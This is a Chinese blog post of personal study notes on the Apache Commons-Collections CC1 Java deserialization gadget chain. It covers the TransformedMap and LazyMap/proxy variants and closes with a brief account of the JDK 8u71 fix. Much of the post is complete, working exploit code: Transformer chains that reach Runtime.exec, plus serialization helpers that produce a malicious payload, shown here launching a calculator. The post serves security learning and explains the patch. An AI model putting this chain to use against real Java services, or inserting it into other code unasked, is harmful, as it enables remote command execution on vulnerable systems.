该博客为参考学习笔记博客,仅为本人记录的笔记,所以欢迎大家去Drunkbaby
师傅的博客中进行学习!Drunkbaby’s Blog
参考链接:
Java反序列化Commons-Collections篇01-CC1链
Java反序列化CommonsCollections篇(一) CC1链手写EXP
Java反序列化CommonsCollections篇(一) CC1链手写EXP这个视频里的师傅讲得已经相当详细了,本篇博客只是记录一些自己不太明白和思路不太清晰的地方,例如Runtime反射明明可以反序列化了,为什么还要调用InvokerTransformer?还有一些自己的思路理解的方向,跟视频中不完全一致,还有视频中没有讲解到的一些地方进行了解析;
一、环境搭建
环境搭建的方法大家可以参考视频Java反序列化CommonsCollections篇(一) CC1链手写EXP
本人使用的环境是:
根据之前的URLDNS链可以类似的总结出来反序列化攻击的利用链寻找思路是从后面往前面去找,先找到能够利用的危险函数再往前找利用的链路和类型,我们必须要有危险函数可以实现利用,然后再一步一步往前构造实现利用链;
重点应该在于不同类的同名函数调用
,通过传入危险类的实例作为参数的某个类的实例调用该同名函数
实现对危险类该同名危险函数
的调用(总之,我们的目的就是调用危险类的的危险函数,但是我们无法直接调用,需要通过反序列化进行调用一些平常函数然后形成链调用危险类的危险函数);
这里我们通过查找Transformer
接口的实现类查看是否存在相关的实现的java类能够实现命令执行,最后我们再InvokerTransformer
中找到了能够实现命令执行的transform
方法实现;
其中的input
作为形参传入,iMethodName
、iParamTypes
、iArgs
三个变量均是类中属性,可以在实例化时对其进行初始化;
因此我们可以根据该实现调用Runtime
类中的exec
实现弹calc计算器;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class InvokerTransformerReturnCalc { public static void main(String[] args) { Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(r); } }
|
成功弹出计算器,那么我们后续的工作就是寻找利用链了;怎么通过反序列化调用该函数实现命令执行,一步一步往前构造;
目前,我们就已经实现了上述流程图的最后一步,得到以下的流程图:
通过idea自带的查找用法
查找存在哪些函数调用了该同名函数transform
可以看到总共有21个结果;如果结果数量较少或者没有,点击左边的设置,将作用域更改为所有位置
即可;
对于这21个结果呢,其实还是有一部分能够继续构成链的,但是这一部分中,最后能够跟反序列化构成链的应该没几个;
那么这时候问题就来了
“那我们在实际情况中应该选哪个呢?”
“我也不知道!一个个找找看呗,能构成利用链的那个就是啦!人工深搜(dfs)一下”
在本次中应该选择的是在TransformedMap
中的checkSetValue()
函数
可以发现的是valueTransformer
变量是作为类TransformedMap
的属性,应该在其实例化时能够初始化;但是我们发现其构造函数是protected
,无法调用其进行初始化;
但是,天无绝人之路!还有一个decorate
函数能够为我们所用进行实例化;所以我们可以利用该函数其实例化一个指定属性的TransformedMap
类的实例;
其实,细心的朋友可以发现咱们的checkSetValue
函数也是protected
的,我们不能够通过TransformedMap
实例直接调用该函数,但是最后构造好的利用链的不同类均在内部包中,所以能够调用checkSetValue
函数;
所以,我们目前先通过利用反射测试该方法是否能够成功弹出计算器;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12
| public class TransformedMapReturnCalc { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer); Class<? extends Map> mapClass = transformedMap.getClass(); Method checkSetValueMethod = mapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValueMethod.setAccessible(true); checkSetValueMethod.invoke(transformedMap, r); } }
|
确实是没有问题的,那么我们现在的利用链已经完善了一部分了,得到以下的流程图:
2.3 MapEntry调用checkSetValue函数
继续重复刚才查找用法的步骤,可以发现仅存在一个地方调用了同名函数
来到调用函数的地方可以发现该类继承了MapEntry的装饰的抽象类;
同样TransformedMap
类也继承了Map输入检查的装饰类。
这里我们需要知道一个概念就是**Map.Entry
就是在Map中的一个键值对(entry)**
到这里可能会有一点难理解,因为它们均继承了Map的装饰类,在CommonCollections中对Map接口进行了自己的实现,而MapEntry类即是继承AbstractMapEntryDecorator
对Map.Entry
接口中setValue
方法的实现;
因此,我们在通过decorate
函数实例化的Map
实例是通过CommonCollection实现的Map,因此该Map的Map.Entry
的调用的setValue
方法是MapEntry
中实现的方法;
由于MapEntry
是继承于Map.Entry
的,所以setValue()
是通过Map.Entry
进行调用的;
但是说了这么多,其实我们根本也不需要管那个entry
,因为跟它没什么关系啊!因为是parent
变量在调用checkSetValue
函数呀,我们需要的是执行checkSetValue
函数;
通过跟踪AbstractInputCheckedMapDecorator
类型可以发现,其最终是实现Map
接口的,所以可以简单认为其是一个Map类型(不规范啊,别这么认为,方便理解就行);
根据查看构造函数MapEntry
的用法,大概可以猜测到其应该是一个默认值,即map
变量,用来判断每个键值对entry归属于哪个map变量的。(大致理解和猜测,底层代码太多太复杂,看不太懂);
至此,可以得出的结论就是,通过entry调用setValue
方法即可让map变量调用checkSetValue
函数,这其实就已经达到我们的目的啦,因为我们要的就是让map变量调用checkSetValue
函数;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.candy;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class MapEntryReturnCalc { public static void main(String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry entry : transformedMap.entrySet()){ entry.setValue(r); } } }
|
到这里,构造的利用链仍然没有问题,现在可以得到以下的流程图:(为了方便竖着放了,再横着放图就太长了看不清啦)
2.4 AnnotationInvocationHandler入口类readObject()
在完成前面这部分内容之后可能我们会产生一个疑问,就是“什么时候我们这个链才算是结束?”其实就是存在一个重写的readObject()
中调用了相应的同名函数;这时候我们可以通过反序列化调用该函数实现链的利用;
在本次的CC1链中,继续查找setValue
函数的用法查找,最后在AnnotationInvocationHandler
类中重写readObject
函数找到了对该函数的调用;
可以看到menberValue
变量的内容是跟memberValues
变量有关的,也就是取出memberValues
中的entry,这样只要我们将相应的map作为memberValues
即可使其的entry调用setValue
达到我们的目的;
来到该类的构造函数我们可以发现memberValues
属性的值是可控的,我们在构造该类时即可设置相应的memberValues
的值;
我们首先尝试一下是否真的如我们所说的一样获得我们想要的属性值;由于AnnotationInvocationHandler
类没有设置public
属性,默认default
,所以不能直接通过new
进行实例化对象,因此需要通过反射进行实例化;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class AnnotationInvocationHandlerReturnCalc { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Override.class, transformedMap); serialize(annotationInvocationHandler); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
通过下断点调试代码可以知道确实如我们所说,memberValues
变量确实是我们所设置的参数;继续调试我们会发现我们无法进入447行
的if结构中,尝试满足其判断;首先我们需要详细分析一下在AnnotationInvocationHandler
类中重写的readObject
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
|
其中type
是我们自己传入的一个类,通过Chatgpt工具查询一下底层源码的功能我们可以知道annotationType = AnnotationType.getInstance(type);
是为了获取type类中的元数据
返回一个AnnotationType
实例,对该实例在调用memberTypes()
将属性名称和类型作为键值对构成Map
;可以将type
数据传入Target.class
进行调试,得到以下结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class AnnotationInvocationHandlerReturnCalc { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
所以当我们传入Target.class
时,我们确保我们的map中存在一个键的值为value
即可进入447行
的if结构;顺势之下,我们也通过了下面的那个if结构,因为下面的if结构仅是判断我们取出的值
是不是memberType
类型的实例以及是不是ExceptionProxy
类型的实例,均不是即可进入下面的if结构,因为我们的值
是value,所以成功进入下面的if结构
但是到这其实还不能够完成我们弹计算器的功能;因为在AnnotationInvocationHandler
类中重写的readObject
函数调用的setValues
函数中传入的参数不可控,我们需要的应该是传入Runtime
对象,然后去获取它的exec
方法进行执行;
为了解决上述这个参数不可控的问题,我们需要介绍两个类,ChainedTransformer
和ConstantTransformer
来解决问题;
链式执行: ChainedTransformer
接受一组 Transformer
对象,然后依次对输入数据应用这些转换transform()
操作。每个 Transformer
的输出会作为下一个 Transformer
的输入。
ConstantTransformer
的作用和功能
主要作用是在转换transform()
时返回一个预定义的常量值,无论输入是什么。也就是说,不管传递给 ConstantTransformer
的输入对象是什么,它都会忽略输入,始终返回构造时指定的常量值。
根据以上两个类的功能,我们可以使setValues
传入任何参数时,最后调用transform
时传入的参数均为Runtime.class
,具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class AnnotationInvocationHandlerReturnCalc { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime r = Runtime.getRuntime(); Transformer[] transformers = { new ConstantTransformer(r), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
通过下断点一步步跟踪最后可以发现确实如之前预料的一样,最后的参数修改成为Runtime.class
,达到修改参数的目的,但是继续运行会发现仍然产生异常;
发现在序列化的过程中产生了异常,这个问题的来源是因为Runtime
没有实现serializable
不能进行序列化;
我们之前利用过InvokerTransformer
进行反射调用任意类的函数,我们也可以通过使用InvokerTransformer
反射调用Runtime
中的exec函数;
1 2 3 4 5
| Class<Runtime> runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null); Runtime r = (Runtime) getRuntime.invoke(null, null); Method exec = runtimeClass.getMethod("exec", String.class); exec.invoke(r, "calc");
|
先熟悉以下上述的反射调用exec函数的代码,我们在修改成InvokerTransformer
调用即可;
1 2 3 4 5 6
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Object[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
|
最后得到我们完整的反序列化利用链代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.candy;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class AnnotationInvocationHandlerReturnCalc { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
根据最后的利用链代码得出以下的流程图;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
Requires: commons-collections */
|
之前我一直在想一个问题,为什么明明 Runtime.class已经能够序列化了还要需要转换成InvokerTransformer的形式,其实根本原因还是Runtime类型的实例不能够序列化,如果我们采用反射的形式去调用getRuntime得到Runtime的实例,无论如何都是没办法序列化的,所以我们才需要通过InvokerTransformer去反射调用,因为InvokerTransformer是实现了Serializable的,能够进行序列化,也能够利用其调用所有类方法的功能实现调用Runtime的exec去命令执行;
三、CommonCollections之LazyMap利用链
正版的CC1链在TransformMap利用链的利用思路下进行了部分修改
利用链的构造方法和之前一致,一步一步查找用法进行利用构造,直接找调用transform
的函数方法;
通过查找用法可以看到LazyMap
中的get
函数调用了transform
,照常需要知道factory
属性是否可控,设置我们需要的值;
与此同时,get
函数为public属性,可访问,传入参数可控;
在LazyMap
中发现一个decorate
函数与TransformedMap
的decorate
函数类似,可以设置factory
属性的值,这样我们也就可以指定内容调用transform
函数;
确定了这些以后,我们即可测试这部分内容是否可以构成利用,实践利用测试:
1 2 3 4 5 6 7 8 9
| public class LazyMapReturnCalc { public static void main(String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, invokerTransformer); lazyMap.get(r); } }
|
目前得到的流程图,如下图所示:
3.2 AnnotationInvocationHandler调用get函数
此处如果直接查找get
函数的用法会有数不胜数的用法,但是在AnnotationInvocationHandler
类中的invoke
函数中也存在对get
函数的调用;
与此同时,AnnotationInvocationHandler
类中存在重写readObject
函数,也可作为入口类使用;
现在,关键就在于如何出发invoke
函数,但是我们发现该类中实现了InvocationHandler
。
此时,想要调用invoke
函数,我们就想到了动态代理。在一个类被代理了以后,通过代理调用该类的方法,就一定会调用该代理类重写invode
函数。
在原先的TransformeredMap
CC1链的基础之上进行理解,readObject
函数作用入口,memberValues
属性调用了entrySet()
方法,所以我们对memberValues
属性进行设置代理,当它调用entrySet()
方法时,会进行动态代理,则会触发invode
函数。
因此,最终得到以下的反序列化利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class LazyMapCC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationHandlerDeclaredConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerDeclaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
|
四、修复方式
参考链接:Java 反序列化 Commons-Collections 篇 02-CC1 链补充
对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue()
方法的地方。
4.2 对于正版 CC1 链子
因为在8u71之后的版本反序列化不再通过defaultReadObject
方式,而是通过readFields
来获取几个特定的属性,defaultReadObject
可以恢复对象本身的类属性,比如this.memberValues
就能恢复成我们原本设置的恶意类,但通过readFields
方式,this.memberValues
就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因